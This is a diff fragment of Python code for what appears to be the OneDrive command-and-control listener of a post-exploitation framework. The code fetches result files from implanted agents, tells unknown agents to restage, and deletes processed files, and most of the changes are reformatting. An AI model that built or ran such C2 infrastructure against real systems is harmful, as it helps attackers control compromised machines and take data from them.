740781 except Exception as e:
741782 message = "[!] Error uploading agent tasks for {}, {}".format(agent_id, e)
742783 signal = json.dumps({
746787 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
747788
748789 search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder))
749 for item in search.json()['children']: #For each file in the results folder
790 for item in search.json()['children']: # For each file in the results folder
750791 try:
751792 agent_id = item['name'].split(".")[0]
752 if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage
753 print(helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name'])))
754 s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
793
794 for i in range(len(agent_ids)):
795 agent_ids[i] = agent_ids[i].decode('UTF-8')
796
797 if not agent_id in agent_ids: # If we don't recognize that agent, upload a message to restage
798 print(helpers.color(
799 "[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name'])))
800 s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (
801 base_url, base_folder, taskings_folder, agent_id), data="RESTAGE")
755802 s.delete("%s/drive/items/%s" % (base_url, item['id']))
756803 continue
757804
758 try: #Update the agent's last seen time, from the file timestamp
805 try: # Update the agent's last seen time, from the file timestamp
759806 seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
760 except: #sometimes no ms for some reason...
807 except: # sometimes no ms for some reason...
761808 seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
762809 seen_time = helpers.utc_to_local(seen_time)
763810 self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
764811
765 #If the agent is just checking in, the file will only be 1 byte, so no results to fetch
766 if(item['size'] > 1):
767 message = "[*] Downloading results from {}/{}, {} bytes".format(results_folder, item['name'], item['size'])
812 # If the agent is just checking in, the file will only be 1 byte, so no results to fetch
813 if (item['size'] > 1):
814 message = "[*] Downloading results from {}/{}, {} bytes".format(results_folder,
815 item['name'], item['size'])
768816 signal = json.dumps({
769817 'print': False,
770818 'message': message
771819 })
772820 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
773821 r = s.get(item['@microsoft.graph.downloadUrl'])
774 self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False)
822 self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options,
823 update_lastseen=True)
775824 message = "[*] Deleting {}/{}".format(results_folder, item['name'])
776825 signal = json.dumps({
777826 'print': False,
797846 dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
798847
799848 s.close()
800
801849
802850 def start(self, name=''):
803851 """
820868 # returns True if the listener successfully started, false otherwise
821869 return self.threads[name].is_alive()
822870
823
824871 def shutdown(self, name=''):
825872 """
826873 Terminates the server thread stored in the self.threads dictionary,
832879 self.threads[name].kill()
833880 else:
834881 print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
835 self.threads[self.options['Name']['Value']].kill()
836
882 self.threads[self.options['Name']['Value']].kill()